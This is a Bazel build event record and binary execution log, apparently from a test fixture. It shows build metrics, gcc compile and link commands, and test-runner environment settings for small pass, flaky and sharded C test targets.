{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MTIuMTM0MDAw"}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4yM3MsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMTFzIGFjdGlvbiAnVGVzdGluZyAvLzpzaGFyZGVkX3Rlc3QgKHNoYXJkIDMgb2YgMyknCiAgMC4wMHMgcnVuZmlsZXMgZm9yIC8vOnNoYXJkZWRfdGVzdAogIDAuMDdzIGFjdGlvbiAnTGlua2luZyBzaGFyZGVkX3Rlc3QnCiAgMC4wNXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9zaGFyZC5jJw=="}, {"name": "process stats", "contents": "MjUgcHJvY2Vzc2VzOiAxMyBpbnRlcm5hbCwgMTcgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.json"}, {"name": "execution_log.binpb.zst"}]}}
{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "44660", "wallTimeInMs": "8862", "analysisPhaseTimeInMs": "2147", "executionPhaseTimeInMs": "2339", "actionsExecutionStartInMs": "6486", "criticalPathTime": "0.227630710s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 17, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.256s", "userTime": "0.063s", "actionsCreated": "5"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "systemTime": "0.095s", "userTime": "0.064s", "actionsCreated": "3"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "4"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "systemTime": "0.036s", "userTime": "0.037s", "actionsCreated": "3"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "1"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "systemTime": "0.002s", "actionsCreated": "1"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "2"}, {"mnemonic": "CcStrip", "actionsCreated": "3"}, {"mnemonic": "FileWrite", "actionsCreated": "3"}, {"mnemonic": "Symlink", "actionsCreated": "1"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "1"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "33058256", "bytesRecv": "134073050"}}}}

View file

@ -0,0 +1,549 @@
86
SHA-256_main"$ea882f0a-d70d-4e98-8471-874fa38dd26e€|
3external/bazel_tools/tools/genrule/genrule-setup.shE
@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn
&bazel-out/k8-fastbuild/bin/gen_out.txtD
@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03ˆ:…
/bin/bash
-c
osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$
PATH/bin:/usr/bin:/usr/local/bin 2(:
//:gen_outBGenruleZprocesswrapper-sandboxhpx’#
€¤èB€¤è¢ íú—ÖÀ‡Ð<E280A1>¨€ Ä§¢
Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE
@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•<1A>
Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE
@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷
Ÿš
Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE
@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢<1A>
Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE
@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ
2*W S
main_fail.cD
@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b

2"* ‰ „
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE
@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð ˆ ƒ
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD
@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cg„:<3A>
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d
I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_fail.c
-o
;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
2( 2( : //:flaky_testB
CppCompileZprocesswrapper-sandboxhpx’#
€‡§B€‡§¢ ïú—Ö€øÅ©¨€€êW S
main_pass.cD
@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949
2"* ˆƒ
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE
@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð ‡‚
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD
@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473f€:ý
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d
H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_pass.c
-o
:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd 2(2(: //:pass_testB
CppCompileZprocesswrapper-sandboxhpx’#
À”ÞBÀ”Þ¢ ïú—Ö€øÅ©¨€€ÎYU
main_shard.cE
@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù
2"*Œ‡
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE
@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE
@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®<15>:<3A>
/usr/bin/gcc
-U_FORTIFY_SOURCE
-fstack-protector
-Wall
-Wunused-but-set-parameter
-Wno-free-nonheap-object
-fno-omit-frame-pointer
-MD
-MF
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d
L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o
-fPIC
-iquote
.
-iquote
bazel-out/k8-fastbuild/bin
-iquote
external/rules_cc+
-iquote
-bazel-out/k8-fastbuild/bin/external/rules_cc+
-iquote
external/bazel_tools
-iquote
/bazel-out/k8-fastbuild/bin/external/bazel_tools
-c
main_shard.c
-o
>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o
-fno-canonical-system-headers
-Wno-builtin-macro-redefined
-D__DATE__="redacted"
-D__TIMESTAMP__="redacted"
-D__TIME__="redacted"$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd 2(2(://:sharded_testB
CppCompileZprocesswrapper-sandboxhpx’#
À¦ÒBÀ¦Ò¢ ïú—Ö€øÅ©¨€ <E282AC> ‡‚
:external/rules_cc+/cc/private/toolchain/build_interface_soD
@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu<>ˆ
?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE
@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77<10> 2"*
2"* {w
.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE
@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06 
2"*rn
%bazel-out/k8-fastbuild/bin/flaky_testE
@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0ô:ñ
/usr/bin/gcc
/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZprocesswrapper-sandboxhpx’#
€óßB€óߢ ïú—ÖÀËú¿¨€ÀÅ
2"*zv
-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE
@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž
2"*qm
$bazel-out/k8-fastbuild/bin/pass_testE
@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0ò:ï
/usr/bin/gcc
.@bazel-out/k8-fastbuild/bin/pass_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 2(: //:pass_testBCppLinkZprocesswrapper-sandboxhpx’#
À÷œBÀ÷œ¢ ïú—ÖÀËú¿¨€ Ä
 2"*}!y
0bazel-out/k8-fastbuild/bin/sharded_test-0.paramsE
@bb9b5928db17b3f1215dc9e0405f5118783b5a7995020e6bc5fbd4df81f51d2e¥
"2" *!t#p
'bazel-out/k8-fastbuild/bin/sharded_testE
@0a8dce773490fe6720cadc64b758164f2f15a9b1a38c0ac818ada7a0bbb84e67<10>4ø:õ
/usr/bin/gcc
1@bazel-out/k8-fastbuild/bin/sharded_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 "2(#://:sharded_testBCppLinkZprocesswrapper-sandboxhpx’#
€…ÔB€…Ô¢ ïú—ÖÀËú¿¨€€¡$2*}%Ry
-bazel-out/k8-fastbuild/bin/pass_test.runfiles$2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az&v
-external/bazel_tools/tools/test/test-setup.shE
@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|'x
/external/bazel_tools/tools/test/generate-xml.shE
@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' (2*%&')2*#€*R|
0bazel-out/k8-fastbuild/bin/sharded_test.runfiles)2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a +2**&'<27>,Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855<-"8
6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsL."H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs/2*~0Rz
.bazel-out/k8-fastbuild/bin/flaky_test.runfiles/2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a 12*0&' 22**&'‚:ÿ
-external/bazel_tools/tools/test/test-setup.sh
./pass_test>
JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$
PATH/bin:/usr/bin:/usr/local/bin@
PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles=
RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./pass_testi
TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek
TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs]
TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely
TEST_SIZEmedium<
TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
TEST_TARGET //:pass_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU
TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl
TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc
TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT
TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings
TEST_WORKSPACE_main
TZUTCE
XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml (24"2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml2C"Abazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely29"7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs2D"Bbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_log2G"Ebazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failure2(-2J"Hbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFEST2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS2P"Nbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS.pb: //:pass_testB
TestRunnerZprocesswrapper-sandboxhpxˆà§’#
ÀÁÀBÀÁÀ¢ ïú—ÖÀ˜Ÿã¨€àÄÞ:Û
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely
TEST_SHARD_INDEX1^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +2D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely2(,2I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure2(.2Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpxˆà§’#
ÀʺBÀʺ¢ ïú—ÖÀ˜Ÿã¨€àÂ=3"9
7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs<74>4Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855®:«
-external/bazel_tools/tools/test/test-setup.sh
./flaky_test?
JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binA
PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles>
RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./flaky_testj
TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel
TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs^
TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely
TEST_SIZEmedium=
TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
TEST_TARGET //:flaky_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87s
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV
TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm
TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd
TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU
TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings
TEST_WORKSPACE_main
TZUTCF
XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml 125"3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml2D"Bbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely2:"8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs2E"Cbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_log2H"Fbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failure2(32K"Ibazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFEST2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS2Q"Obazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS.pb: //:flaky_testB
TestRunnerHR NON_ZERO_EXITZprocesswrapper-sandboxhpxˆà§’#
€Ï÷B€Ï÷¢ ïú—Ö€<>Ü㨀àÄL5"H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputsÞ:Û
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely
TEST_SHARD_INDEX2^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml 22D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely2(42I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure2(52Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpxˆà§’#
ÀÜ®BÀÜ®¢ ïú—Ö€<>Ü㨀ÀÄ 62**&'<27>7Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L8"H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputsÞ:Û
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely
TEST_SHARD_INDEX0^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 62D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely2(72I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure2(82Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZprocesswrapper-sandboxhpxˆà§’#
€üÙB€üÙ¢ ïú—Ö€<>Ü㨀À€9|
